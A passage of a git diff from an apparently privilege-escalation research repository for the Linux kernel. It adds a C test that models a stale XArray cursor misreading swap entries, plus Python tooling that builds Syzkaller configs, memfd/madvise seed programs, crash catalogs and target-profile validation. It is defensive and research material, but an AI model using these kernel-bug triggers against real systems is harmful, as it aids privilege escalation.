SPDX-License-Identifier: GPL-2.0-only +#include +#include +#include +#include +#include +#include +#include + +#include "test.h" + +#define SPLIT_ORDER (XA_CHUNK_SHIFT + 1) +#define START_INDEX (XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2) +#define EXPECTED_INDEX (2UL * XA_CHUNK_SIZE) +#define BATCH_SIZE 15U + +struct fixture { + struct xarray xa; + struct xa_state stale; +}; + +static void *store_order(struct xarray *xa, unsigned long index, + unsigned int order, void *entry) +{ + XA_STATE_ORDER(xas, xa, index, order); + void *current; + + do { + xas_lock(&xas); + current = xas_store(&xas, entry); + xas_unlock(&xas); + } while (xas_nomem(&xas, GFP_KERNEL)); + return current; +} + +static void must_store(struct xarray *xa, unsigned long index, void *entry) +{ + void *replaced = xa_store(xa, index, entry, GFP_KERNEL); + + if (xa_is_err(replaced) || replaced) { + fprintf(stderr, "cannot store XArray index %lu\n", index); + exit(2); + } +} + +static void prepare_fixture(struct fixture *fixture, bool mutate) +{ + void *large = xa_mk_value(1); + void *entry; + unsigned long index; + XA_STATE_ORDER(split, &fixture->xa, 0, 0); + + xa_init(&fixture->xa); + fixture->stale = (struct xa_state)__XA_STATE( + &fixture->xa, START_INDEX, 0, 0); + if (store_order(&fixture->xa, 0, SPLIT_ORDER, large)) { + fprintf(stderr, "ordered store unexpectedly replaced an entry\n"); + exit(2); + } + must_store(&fixture->xa, EXPECTED_INDEX, + xa_mk_value(EXPECTED_INDEX + 1)); + + rcu_read_lock(); + entry = xas_find(&fixture->stale, ULONG_MAX); + rcu_read_unlock(); + if (entry != large || fixture->stale.xa_index != START_INDEX || + !fixture->stale.xa_node->shift) { + fprintf(stderr, "failed to establish stale swapoff cursor\n"); + exit(2); + } + if (!mutate) + return; + + xas_split_alloc(&split, large, SPLIT_ORDER, GFP_KERNEL); + if (xas_error(&split)) { + fprintf(stderr, "xas_split_alloc failed: %d\n", xas_error(&split)); + exit(2); + } + xas_lock(&split); + xas_split(&split, large, SPLIT_ORDER); + for (index = 0; index < EXPECTED_INDEX; index++) + __xa_store(&fixture->xa, index, xa_mk_value(index + 1), 0); + xas_unlock(&split); +} + +static unsigned int candidate_shmem_find_swap_entries(struct fixture *fixture, + unsigned long indices[BATCH_SIZE]) +{ + unsigned int count = 0; + void *entry; + + rcu_read_lock(); + xas_for_each(&fixture->stale, entry, ULONG_MAX) { + if (xas_retry(&fixture->stale, entry)) + continue; + if (!xa_is_value(entry)) + continue; + indices[count++] = fixture->stale.xa_index; + if (count == BATCH_SIZE) + break; + } + rcu_read_unlock(); + return count; +} + +static unsigned long candidate_find_swap_entry(struct xarray *xa, void *item) +{ + XA_STATE(xas, xa, 0); + void *entry; + + rcu_read_lock(); + xas_for_each(&xas, entry, ULONG_MAX) { + if (xas_retry(&xas, entry)) + continue; + if (entry == item) + break; + } + rcu_read_unlock(); + return entry ? xas.xa_index : ULONG_MAX; +} + +static int run_batch(bool mutate, bool expect_wrong) +{ + struct fixture fixture; + unsigned long guarded[BATCH_SIZE + 2]; + unsigned long *indices = guarded + 1; + unsigned int count; + bool bounds_ok; + bool wrong; + bool passed; + + memset(guarded, 0, sizeof(guarded)); + guarded[0] = ULONG_MAX; + guarded[BATCH_SIZE + 1] = ULONG_MAX; + prepare_fixture(&fixture, mutate); + count = candidate_shmem_find_swap_entries(&fixture, indices); + bounds_ok = guarded[0] == ULONG_MAX && + guarded[BATCH_SIZE + 1] == ULONG_MAX && count > 0; + wrong = !count || indices[0] < START_INDEX || + indices[0] != EXPECTED_INDEX; + passed = bounds_ok && wrong == expect_wrong; + printf("{\"schema_version\":1,\"candidate\":" + "\"privileged_swapoff_correctness\",\"adapter\":" + "\"shmem_find_swap_entries\",\"mode\":\"%s\"," + "\"start_index\":%lu,\"expected_index\":%lu," + "\"observed_index\":%lu,\"batch_count\":%u," + "\"wrong_swap_entry_detected\":%s,\"bounds_ok\":%s," + "\"passed\":%s}\n", + mutate ? "split_mutation" : "stable_control", START_INDEX, + EXPECTED_INDEX, count ? indices[0] : ULONG_MAX, count, + wrong ? "true" : "false", bounds_ok ? "true" : "false", + passed ? "true" : "false"); + xa_destroy(&fixture.xa); + return passed ? 0 : 1; +} + +static int run_legacy_lookup(void) +{ + struct xarray xa; + void *target = xa_mk_value(EXPECTED_INDEX + 1); + unsigned long observed; + bool passed; + + xa_init(&xa); + for (unsigned long index = 0; index <= EXPECTED_INDEX; index++) + must_store(&xa, index, xa_mk_value(index + 1)); + observed = candidate_find_swap_entry(&xa, target); + passed = observed == EXPECTED_INDEX; + printf("{\"schema_version\":1,\"candidate\":" + "\"privileged_swapoff_correctness\",\"adapter\":" + "\"find_swap_entry\",\"mode\":\"stable_control\"," + "\"start_index\":0,\"expected_index\":%lu," + "\"observed_index\":%lu,\"batch_count\":1," + "\"wrong_swap_entry_detected\":%s,\"bounds_ok\":true," + "\"passed\":%s}\n", + EXPECTED_INDEX, observed, passed ? "false" : "true", + passed ? "true" : "false"); + xa_destroy(&xa); + return passed ? 0 : 1; +} + +int main(int argc, char **argv) +{ + bool vulnerable; + int failures = 0; + + if (argc != 2 || + (strcmp(argv[1], "vulnerable") && strcmp(argv[1], "fixed"))) { + fprintf(stderr, "usage: %s vulnerable|fixed\n", argv[0]); + return 2; + } + vulnerable = !strcmp(argv[1], "vulnerable"); + rcu_register_thread(); + radix_tree_init(); + failures += run_legacy_lookup(); + failures += run_batch(false, false); + failures += run_batch(true, vulnerable); + rcu_barrier(); + radix_tree_cpu_dead(1); + rcu_unregister_thread(); + return failures ? 1 : 0; +} diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/syzkaller.py b/dirty-crow-xarray-lpe/framework/dirtycrow/syzkaller.py new file mode 100644 index 0000000..cf5d204 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/syzkaller.py @@ -0,0 +1,388 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import re +import subprocess +from typing import Iterable, Mapping + +_RELEVANT_SYSCALLS = ( + "close", + "exit", + "exit_group", + "fallocate", + "ftruncate", + "madvise", + "memfd_create", + "mmap", + "mprotect", + "munmap", + "pread64", + "pwrite64", +) + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +def _canonical_sha256(payload: dict[str, object]) -> str: + return _sha256( + json.dumps(payload, sort_keys=True, separators=(",", ":")).encode() + ) + + +def focused_seed_programs() -> dict[str, str]: + base = """r0 = memfd_create(&(0x7f0000000000)='dirty-crow\\x00', 0x0) +ftruncate(r0, 0x400000) +r1 = mmap(&(0x7f0000000000/0x400000)=nil, 0x400000, 0x3, 0x1, r0, 0x0) +""" + return { + "shmem-collapse.syz": base + + "madvise(&(0x7f0000000000/0x400000)=nil, 0x400000, 0x19)\n", + "shmem-punch-collapse.syz": base + + "fallocate(r0, 0x3, 0x1000, 0x200000)\n" + + "madvise(&(0x7f0000000000/0x400000)=nil, 0x400000, 0x19)\n", + "filemap-fault-punch.syz": base + + "madvise(&(0x7f0000000000/0x400000)=nil, 0x400000, 0x3)\n" + + "fallocate(r0, 0x3, 0x2000, 0x1000)\n" + + "pread64(r0, &(0x7f0000400000)=\"\"/4096, 0x1000, 0x0)\n", + } + + +def build_manager_config(profile: Mapping[str, object]) -> dict[str, object]: + if int(profile.get("schema_version", 0)) != 1: + raise ValueError("unsupported Syzkaller profile schema") + target = str(profile.get("target", "")) + if not target.startswith("linux/"): + raise ValueError("only Linux Syzkaller targets are supported") + if profile.get("sandbox", "setuid") != "setuid": + raise ValueError("Dirty Crow campaigns require Syzkaller sandbox=setuid") + + paths = profile.get("paths") + vm = profile.get("vm") + if not isinstance(paths, Mapping) or not isinstance(vm, Mapping): + raise ValueError("profile paths and vm objects are required") + required_paths = ( + "workdir", + "kernel_obj", + "kernel_src", + "image", + "sshkey", + "syzkaller", + ) + missing = [name for name in required_paths if not str(paths.get(name, ""))] + if missing: + raise ValueError(f"missing Syzkaller paths: {', '.join(missing)}") + + procs = int(profile.get("procs", 4)) + if not 1 <= procs <= 8: + raise ValueError("procs must be between 1 and 8") + count = int(vm.get("count", 1)) + cpu = int(vm.get("cpu", 4)) + memory = int(vm.get("mem", 2048)) + if not 1 <= count <= 16: + raise ValueError("VM count must be between 1 and 16") + if not 2 <= cpu <= 32: + raise ValueError("VM CPU count must be between 2 and 32") + if memory < 1024: + raise ValueError("VM memory must be at least 1024 MiB") + + enabled = profile.get("enable_syscalls", _RELEVANT_SYSCALLS) + if not isinstance(enabled, (list, tuple)) or not enabled: + raise ValueError("enable_syscalls must be a non-empty list") + enabled_syscalls = sorted({str(name) for name in enabled}) + forbidden = [ + name + for name in enabled_syscalls + if name.startswith(("syz_usb_", "syz_emit_ethernet", "syz_mount_image")) + ] + if forbidden: + raise ValueError(f"device or image pseudo-syscalls are forbidden: {forbidden}") + + kernel = str(vm.get("kernel", "")) + if not kernel: + raise ValueError("vm.kernel is required") + cmdline = " ".join( + str(vm.get("cmdline", "console=ttyS0" )).split() + + ["oops=panic", "panic=-1", "panic_on_warn=1"] + ) + config: dict[str, object] = { + "name": str(profile.get("name", "dirty-crow")), + "target": target, + "http": str(profile.get("http", "127.0.0.1:56741")), + "workdir": str(paths["workdir"]), + "kernel_obj": str(paths["kernel_obj"]), + "kernel_src": str(paths["kernel_src"]), + "image": str(paths["image"]), + "sshkey": str(paths["sshkey"]), + "ssh_user": str(profile.get("ssh_user", "root")), + "syzkaller": str(paths["syzkaller"]), + "procs": procs, + "sandbox": "setuid", + "cover": bool(profile.get("cover", True)), + "reproduce": True, + "preserve_corpus": True, + "type": "qemu", + "enable_syscalls": enabled_syscalls, + "vm": { + "count": count, + "cpu": cpu, + "mem": memory, + "kernel": kernel, + "cmdline": cmdline, + "qemu": str(vm.get("qemu", "qemu-system-x86_64")), + "qemu_args": str( + vm.get("qemu_args", "-machine q35,accel=tcg -cpu max -snapshot") + ), + }, + } + if vm.get("initrd"): + config["vm"]["initrd"] = str(vm["initrd"]) + return config + + +def write_manager_config( + profile: Mapping[str, object], output: Path +) -> dict[str, object]: + config = build_manager_config(profile) + output = output.resolve() + output.parent.mkdir(parents=True, exist_ok=True) + output.write_text(json.dumps(config, indent=2, sort_keys=True) + "\n", encoding="utf-8") + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow Syzkaller manager configuration", + "passed": True, + "output": str(output), + "sha256": _sha256(output.read_bytes()), + "target": config["target"], + "sandbox": config["sandbox"], + "enabled_syscalls": config["enable_syscalls"], + "boundary": "The generated campaign is local-only and runs executor processes in the setuid sandbox as uid 65534.", + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + return report + + +def stage_seed_corpus( + destination: Path, + *, + syz_db: Path | None = None, + programs: Mapping[str, str] | None = None, + target_os: str = "linux", + target_arch: str = "amd64", +) -> dict[str, object]: + destination = destination.resolve() + seed_dir = destination / "seeds" + seed_dir.mkdir(parents=True, exist_ok=True) + corpus = programs or focused_seed_programs() + artifacts: list[dict[str, object]] = [] + for name, source in sorted(corpus.items()): + if Path(name).name != name or not name.endswith(".syz"): + raise ValueError(f"invalid seed program name: {name}") + payload = source.encode() + path = seed_dir / name + path.write_bytes(payload) + artifacts.append( + { + "name": name, + "path": str(path), + "sha256": _sha256(payload), + "bytes": len(payload), + } + ) + + result_data: dict[str, object] | None = None + if syz_db is not None: + syz_db = syz_db.resolve() + corpus_db = destination / "corpus.db" + result = subprocess.run( + [ + str(syz_db), + f"-os={target_os}", + f"-arch={target_arch}", + "pack", + str(seed_dir), + str(corpus_db), + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + ) + result_data = { + "argv": [str(syz_db), "-os=", "-arch=", "pack", str(seed_dir), str(corpus_db)], + "returncode": result.returncode, + "stdout": result.stdout, + "stderr": result.stderr, + "corpus_db": str(corpus_db), + "corpus_sha256": _sha256(corpus_db.read_bytes()) if corpus_db.is_file() else None, + } + if result.returncode: + raise RuntimeError(f"syz-db rejected seed corpus: {result.stderr.strip()}") + + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow Syzkaller seed corpus", + "passed": True, + "target": f"{target_os}/{target_arch}", + "destination": str(destination), + "programs": artifacts, + "program_count": len(artifacts), + "validation": result_data, + "boundary": "Seeds exercise shmem production, XArray mutation, and filemap consumption; Syzkaller remains responsible for mutation and concurrent scheduling.", + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + (destination / "seed-manifest.json").write_text( + json.dumps(report, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + return report + + +def run_syz_repro( + syz_repro: Path, + manager_config: Path, + execution_log: Path, + destination: Path, + *, + vm_count: int | None = None, + timeout_seconds: int = 1800, +) -> dict[str, object]: + config = json.loads(manager_config.read_text(encoding="utf-8")) + if config.get("sandbox") != "setuid" or config.get("type") != "qemu": + raise ValueError("reproduction requires a setuid-sandbox QEMU manager config") + destination = destination.resolve() + destination.mkdir(parents=True, exist_ok=True) + syz_output = destination / "repro.syz" + c_output = destination / "repro.c" + title_output = destination / "title.txt" + argv = [ + str(syz_repro.resolve()), + f"-config={manager_config.resolve()}", + f"-output={syz_output}", + f"-crepro={c_output}", + f"-title={title_output}", + ] + if vm_count is not None: + if not 1 <= vm_count <= 16: + raise ValueError("vm_count must be between 1 and 16") + argv.append(f"-count={vm_count}") + argv.append(str(execution_log.resolve())) + try: + result = subprocess.run( + argv, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + timeout=timeout_seconds, + check=False, + ) + timed_out = False + except subprocess.TimeoutExpired as error: + result = None + timed_out = True + stdout = error.stdout.decode(errors="replace") if isinstance(error.stdout, bytes) else (error.stdout or "") + stderr = error.stderr.decode(errors="replace") if isinstance(error.stderr, bytes) else (error.stderr or "") + + artifacts: list[dict[str, object]] = [] + for kind, path in (("syz", syz_output), ("c", c_output), ("title", title_output)): + if path.is_file(): + artifacts.append( + { + "kind": kind, + "path": str(path), + "sha256": _sha256(path.read_bytes()), + "bytes": path.stat().st_size, + } + ) + if result is not None: + stdout = result.stdout + stderr = result.stderr + returncode: int | None = result.returncode + else: + returncode = None + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow Syzkaller reproduction and minimization run", + "passed": not timed_out and returncode == 0, + "reproduced": syz_output.is_file(), + "timed_out": timed_out, + "returncode": returncode, + "argv": ["syz-repro", *argv[1:-1], ""], + "stdout": stdout, + "stderr": stderr, + "manager_config": str(manager_config.resolve()), + "manager_config_sha256": _sha256(manager_config.read_bytes()), + "execution_log": str(execution_log.resolve()), + "execution_log_sha256": _sha256(execution_log.read_bytes()), + "artifacts": artifacts, + "boundary": "A zero exit means the minimizer completed; reproduced records whether it emitted a minimized syz program.", + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + (destination / "repro-manifest.json").write_text( + json.dumps(report, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + return report + + +def catalog_crashes( + workdir: Path, + finding_patterns: Mapping[str, str] | None = None, +) -> dict[str, object]: + crash_root = workdir.resolve() / "crashes" + patterns = { + finding: re.compile(pattern, re.I) + for finding, pattern in (finding_patterns or {}).items() + } + rows: list[dict[str, object]] = [] + if crash_root.is_dir(): + for directory in sorted(path for path in crash_root.iterdir() if path.is_dir()): + description_path = directory / "description" + description = ( + description_path.read_text(encoding="utf-8", errors="replace").strip() + if description_path.is_file() + else directory.name + ) + normalized = re.sub(r"0x[0-9a-f]+|\b\d+\b", "", description, flags=re.I) + artifacts = [] + for path in sorted(item for item in directory.iterdir() if item.is_file()): + artifacts.append( + { + "name": path.name, + "sha256": _sha256(path.read_bytes()), + "bytes": path.stat().st_size, + } + ) + rows.append( + { + "crash_id": directory.name, + "description": description, + "signature": normalized, + "finding_ids": sorted( + finding for finding, pattern in patterns.items() if pattern.search(description) + ), + "artifacts": artifacts, + } + ) + signatures: dict[str, int] = {} + for row in rows: + signature = str(row["signature"]) + signatures[signature] = signatures.get(signature, 0) + 1 + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow Syzkaller crash catalog", + "passed": True, + "workdir": str(workdir.resolve()), + "crashes": rows, + "crash_count": len(rows), + "unique_signature_count": len(signatures), + "signature_counts": dict(sorted(signatures.items())), + "boundary": "Description normalization deduplicates triage records; it does not establish root-cause identity.", + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/targets.py b/dirty-crow-xarray-lpe/framework/dirtycrow/targets.py new file mode 100644 index 0000000..c30ee5f --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/targets.py @@ -0,0 +1,397 @@ +from __future__ import annotations + +from dataclasses import asdict, dataclass +import hashlib +import json +from pathlib import Path +import re +from typing import Mapping +from urllib.parse import urlparse + +from .backends import TargetContext, resolve_backend +from .lab import load_lab_profile + +_ID = re.compile(r"[a-z0-9][a-z0-9._-]{0,95}\Z") +_TOKEN = re.compile(r"[A-Za-z0-9][A-Za-z0-9._:+-]{0,127}\Z") +_CLASSIFICATIONS = { + "runtime_confirmed", + "runtime_kernel_corruption", + "runtime_negative", + "source_candidate", + "unsupported", +} +_SCOPES = { + "exact_package", + "exact_vendor_tree", + "upstream_ref", + "version_aligned_upstream", +} +_ARCHITECTURES = {"x86_64", "aarch64", "riscv64", "ppc64le"} +_ACTIONS = {"probe", "legacy-trigger", "backstep-proof"} + + +class TargetProfileError(ValueError): + pass + + +@dataclass(frozen=True) +class TargetIdentity: + distribution: str + release: str + kernel_release: str + architecture: str + page_size: int + endianness: str + + +@dataclass(frozen=True) +class TargetProvenance: + scope: str + source_url: str + source_ref: str + + +@dataclass(frozen=True) +class TargetCompatibility: + source_facts: frozenset[str] + capabilities: frozenset[str] + action: str + backend: str | None + backend_expected: bool + + +@dataclass(frozen=True) +class EvidenceBinding: + kind: str + path: Path + sha256: str + + +@dataclass(frozen=True) +class TargetProfile: + source: Path + target_id: str + classification: str + identity: TargetIdentity + provenance: TargetProvenance + compatibility: TargetCompatibility + evidence: tuple[EvidenceBinding, ...] + unsupported_reasons: tuple[str, ...] + lab_profile: Path | None + + +def _object(value: object, field: str) -> dict[str, object]: + if not isinstance(value, dict): + raise TargetProfileError(f"{field} must be an object") + return value + + +def _keys(payload: Mapping[str, object], required: set[str], optional: set[str], field: str) -> None: + missing = sorted(required - set(payload)) + unknown = sorted(set(payload) - required - optional) + if missing or unknown: + raise TargetProfileError(f"{field} keys invalid: missing={missing}, unknown={unknown}") + + +def _string(value: object, field: str) -> str: + if not isinstance(value, str) or not value.strip(): + raise TargetProfileError(f"{field} must be a non-empty string") + return value + + +def _tokens(value: object, field: str) -> frozenset[str]: + if not isinstance(value, list) or not all(isinstance(row, str) and _TOKEN.fullmatch(row) for row in value): + raise TargetProfileError(f"{field} must be a token list") + if len(value) != len(set(value)): + raise TargetProfileError(f"{field} contains duplicates") + return frozenset(value) + + +def _relative_file(base: Path, boundary: Path, value: object, field: str) -> Path: + text = _string(value, field) + candidate = Path(text) + if candidate.is_absolute(): + raise TargetProfileError(f"{field} must be relative to the profile") + path = (base / candidate).resolve() + try: + path.relative_to(boundary) + except ValueError as error: + raise TargetProfileError(f"{field} escapes the repository") from error + if not path.is_file(): + raise TargetProfileError(f"{field} is missing: {path}") + return path + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + +def load_target_profile(path: Path) -> TargetProfile: + source = path.resolve(strict=True) + root = source.parent + payload = _object(json.loads(source.read_text(encoding="utf-8")), "profile") + _keys( + payload, + {"schema_version", "id", "classification", "target", "provenance", "compatibility", "evidence", "unsupported_reasons"}, + {"lab_profile"}, + "profile", + ) + boundary = next( + ( + parent for parent in (root, *root.parents) + if (parent / ".git").exists() or (parent / "pyproject.toml").is_file() + ), + root, + ) + if payload["schema_version"] != 1: + raise TargetProfileError("unsupported target profile schema") + target_id = _string(payload["id"], "id") + if _ID.fullmatch(target_id) is None: + raise TargetProfileError("id is not canonical") + classification = _string(payload["classification"], "classification") + if classification not in _CLASSIFICATIONS: + raise TargetProfileError(f"unsupported classification: {classification}") + + target = _object(payload["target"], "target") + _keys(target, {"distribution", "release", "kernel_release", "architecture", "page_size", "endianness"}, set(), "target") + architecture = _string(target["architecture"], "target.architecture") + if architecture not in _ARCHITECTURES: + raise TargetProfileError(f"unsupported architecture: {architecture}") + page_size = target["page_size"] + if not isinstance(page_size, int) or page_size < 4096 or page_size & (page_size - 1): + raise TargetProfileError("target.page_size must be a power of two >= 4096") + endianness = _string(target["endianness"], "target.endianness") + if endianness not in {"little", "big"}: + raise TargetProfileError("target.endianness must be little or big") + identity = TargetIdentity( + distribution=_string(target["distribution"], "target.distribution"), + release=_string(target["release"], "target.release"), + kernel_release=_string(target["kernel_release"], "target.kernel_release"), + architecture=architecture, + page_size=page_size, + endianness=endianness, + ) + + provenance_payload = _object(payload["provenance"], "provenance") + _keys(provenance_payload, {"scope", "source_url", "source_ref"}, set(), "provenance") + scope = _string(provenance_payload["scope"], "provenance.scope") + if scope not in _SCOPES: + raise TargetProfileError(f"unsupported provenance scope: {scope}") + source_url = _string(provenance_payload["source_url"], "provenance.source_url") + parsed_url = urlparse(source_url) + if parsed_url.scheme != "https" or not parsed_url.netloc: + raise TargetProfileError("provenance.source_url must be HTTPS") + provenance = TargetProvenance( + scope=scope, + source_url=source_url, + source_ref=_string(provenance_payload["source_ref"], "provenance.source_ref"), + ) + + compatibility_payload = _object(payload["compatibility"], "compatibility") + _keys(compatibility_payload, {"source_facts", "capabilities", "action", "backend", "backend_expected"}, set(), "compatibility") + action = _string(compatibility_payload["action"], "compatibility.action") + if action not in _ACTIONS: + raise TargetProfileError(f"unsupported compatibility action: {action}") + backend_value = compatibility_payload["backend"] + if backend_value == "auto": + backend = None + elif isinstance(backend_value, str) and _ID.fullmatch(backend_value): + backend = backend_value + else: + raise TargetProfileError("compatibility.backend must be auto or a canonical id") + backend_expected = compatibility_payload["backend_expected"] + if not isinstance(backend_expected, bool): + raise TargetProfileError("compatibility.backend_expected must be boolean") + compatibility = TargetCompatibility( + source_facts=_tokens(compatibility_payload["source_facts"], "compatibility.source_facts"), + capabilities=_tokens(compatibility_payload["capabilities"], "compatibility.capabilities"), + action=action, + backend=backend, + backend_expected=backend_expected, + ) + + evidence_payload = payload["evidence"] + if not isinstance(evidence_payload, list): + raise TargetProfileError("evidence must be a list") + evidence: list[EvidenceBinding] = [] + for index, value in enumerate(evidence_payload): + row = _object(value, f"evidence[{index}]") + _keys(row, {"kind", "path", "sha256"}, set(), f"evidence[{index}]") + artifact = _relative_file(root, boundary, row["path"], f"evidence[{index}].path") + expected_hash = _string(row["sha256"], f"evidence[{index}].sha256") + if re.fullmatch(r"[0-9a-f]{64}", expected_hash) is None: + raise TargetProfileError(f"evidence[{index}].sha256 is invalid") + actual_hash = _sha256(artifact) + if actual_hash != expected_hash: + raise TargetProfileError(f"evidence[{index}] hash mismatch: expected {expected_hash}, got {actual_hash}") + evidence.append(EvidenceBinding(_string(row["kind"], f"evidence[{index}].kind"), artifact, expected_hash)) + + reasons_value = payload["unsupported_reasons"] + if not isinstance(reasons_value, list) or not all(isinstance(reason, str) and reason.strip() for reason in reasons_value): + raise TargetProfileError("unsupported_reasons must be a string list") + reasons = tuple(reasons_value) + if classification == "unsupported" and not reasons: + raise TargetProfileError("unsupported targets require at least one reason") + if classification != "unsupported" and reasons: + raise TargetProfileError("supported/candidate targets cannot have unsupported_reasons") + if classification in {"runtime_confirmed", "runtime_kernel_corruption"}: + if scope != "exact_package" or not evidence: + raise TargetProfileError( + "runtime-positive targets require exact-package provenance and evidence" + ) + if not any(binding.kind == "runtime_evidence" for binding in evidence): + raise TargetProfileError( + "runtime-positive targets require runtime_evidence" + ) + if classification == "unsupported" and backend_expected: + raise TargetProfileError("unsupported targets cannot expect backend support") + + lab_profile = None + if "lab_profile" in payload: + lab_profile = _relative_file(root, boundary, payload["lab_profile"], "lab_profile") + load_lab_profile(lab_profile) + return TargetProfile( + source=source, + target_id=target_id, + classification=classification, + identity=identity, + provenance=provenance, + compatibility=compatibility, + evidence=tuple(evidence), + unsupported_reasons=reasons, + lab_profile=lab_profile, + ) + + +def validate_target_profile(profile: TargetProfile, backend_registry: Path) -> dict[str, object]: + backend = resolve_backend( + backend_registry, + TargetContext( + architecture=profile.identity.architecture, + page_size=profile.identity.page_size, + endianness=profile.identity.endianness, + source_facts=profile.compatibility.source_facts, + capabilities=profile.compatibility.capabilities, + ), + profile.compatibility.action, + requested_backend=profile.compatibility.backend, + ) + expectation_matches = bool(backend["supported"]) == profile.compatibility.backend_expected + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow validated target profile", + "passed": expectation_matches, + "profile": str(profile.source), + "profile_sha256": _sha256(profile.source), + "id": profile.target_id, + "classification": profile.classification, + "target": asdict(profile.identity), + "provenance": asdict(profile.provenance), + "compatibility": { + **asdict(profile.compatibility), + "source_facts": sorted(profile.compatibility.source_facts), + "capabilities": sorted(profile.compatibility.capabilities), + }, + "evidence": [ + {"kind": binding.kind, "path": str(binding.path), "sha256": binding.sha256} + for binding in profile.evidence + ], + "unsupported_reasons": list(profile.unsupported_reasons), + "lab_profile": str(profile.lab_profile) if profile.lab_profile else None, + "backend_expectation_matches": expectation_matches, + "backend_resolution": backend, + "boundary": "Profile validation authenticates declared inputs and backend compatibility; it does not elevate source candidates into runtime findings.", + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report + + +def validate_target_matrix( + matrix_path: Path, backend_registry: Path +) -> dict[str, object]: + source = matrix_path.resolve(strict=True) + payload = _object( + json.loads(source.read_text(encoding="utf-8")), "target matrix" + ) + _keys( + payload, + {"schema_version", "title", "as_of", "profiles", "boundary"}, + set(), + "target matrix", + ) + if payload["schema_version"] != 1: + raise TargetProfileError("unsupported target matrix schema") + profiles_value = payload["profiles"] + if ( + not isinstance(profiles_value, list) + or not profiles_value + or not all(isinstance(value, str) and value for value in profiles_value) + ): + raise TargetProfileError("target matrix profiles must be a non-empty list") + if len(profiles_value) != len(set(profiles_value)): + raise TargetProfileError("target matrix profiles contain duplicates") + + rows: list[dict[str, object]] = [] + identifiers: set[str] = set() + for index, value in enumerate(profiles_value): + relative = Path(value) + if relative.is_absolute(): + raise TargetProfileError( + f"target matrix profile {index} must be relative" + ) + path = (source.parent / relative).resolve() + try: + path.relative_to(source.parent) + except ValueError as error: + raise TargetProfileError( + f"target matrix profile {index} escapes the matrix directory" + ) from error + profile = load_target_profile(path) + if profile.target_id in identifiers: + raise TargetProfileError( + f"duplicate target id in matrix: {profile.target_id}" + ) + identifiers.add(profile.target_id) + rows.append(validate_target_profile(profile, backend_registry)) + + classifications: dict[str, int] = {} + for row in rows: + classification = str(row["classification"]) + classifications[classification] = ( + classifications.get(classification, 0) + 1 + ) + report: dict[str, object] = { + "schema_version": 1, + "title": _string(payload["title"], "target matrix.title"), + "as_of": _string(payload["as_of"], "target matrix.as_of"), + "passed": all(bool(row["passed"]) for row in rows), + "matrix": str(source), + "matrix_sha256": _sha256(source), + "targets": rows, + "summary": { + "target_count": len(rows), + "classifications": dict(sorted(classifications.items())), + "runtime_confirmed_count": classifications.get( + "runtime_confirmed", 0 + ), + "runtime_kernel_corruption_count": classifications.get( + "runtime_kernel_corruption", 0 + ), + "unsupported_count": classifications.get("unsupported", 0), + "backend_supported_count": sum( + bool(row["backend_resolution"]["supported"]) for row in rows + ), + "distributions": sorted( + {str(row["target"]["distribution"]) for row in rows} + ), + "kernel_releases": sorted( + {str(row["target"]["kernel_release"]) for row in rows} + ), + }, + "boundary": _string(payload["boundary"], "target matrix.boundary"), + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/toolchain.py b/dirty-crow-xarray-lpe/framework/dirtycrow/toolchain.py new file mode 100644 index 0000000..cff9593 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/toolchain.py @@ -0,0 +1,429 @@ +from __future__ import annotations + +import hashlib +from datetime import datetime, timezone +import json +from pathlib import Path +import re + +from .strictjson import write_json_atomic + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def verify_toolchain_lock(lock_path: Path, root: Path | None = None) -> dict[str, object]: + lock_path = lock_path.resolve(strict=True) + root = root.resolve() if root is not None else lock_path.parent + payload = json.loads(lock_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict) or payload.get("schema_version") != 1: + raise ValueError("unsupported toolchain lock schema") + required = { + "schema_version", + "title", + "python", + "linux_build", + "rootfs", + "containers", + "kernel", + "syzkaller", + "ci_actions", + "signing", + "qemu", + "boundary", + } + if set(payload) != required: + raise ValueError(f"toolchain lock keys differ: {sorted(set(payload) ^ required)}") + python = payload["python"] + linux_build = payload["linux_build"] + rootfs = payload["rootfs"] + containers = payload["containers"] + kernel = payload["kernel"] + syzkaller = payload["syzkaller"] + ci_actions = payload["ci_actions"] + signing = payload["signing"] + qemu = payload["qemu"] + sections = ( + python, + linux_build, + rootfs, + containers, + kernel, + syzkaller, + ci_actions, + signing, + qemu, + ) + if not all(isinstance(value, dict) for value in sections): + raise ValueError("toolchain sections must be objects") + dependency_lock = root / str(python.get("lock_file", "")) + expected_dependency_hash = str(python.get("lock_file_sha256", "")) + actual_dependency_hash = _sha256(dependency_lock) if dependency_lock.is_file() else None + kernel_container = containers.get("kernel_build", {}) + if not isinstance(kernel_container, dict): + raise ValueError("containers.kernel_build must be an object") + container_file = root / str(kernel_container.get("file", "")) + expected_container_hash = 